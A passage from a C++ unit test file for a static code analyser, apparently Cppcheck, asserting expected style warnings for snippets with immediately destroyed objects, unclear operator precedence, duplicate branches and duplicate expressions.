;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > 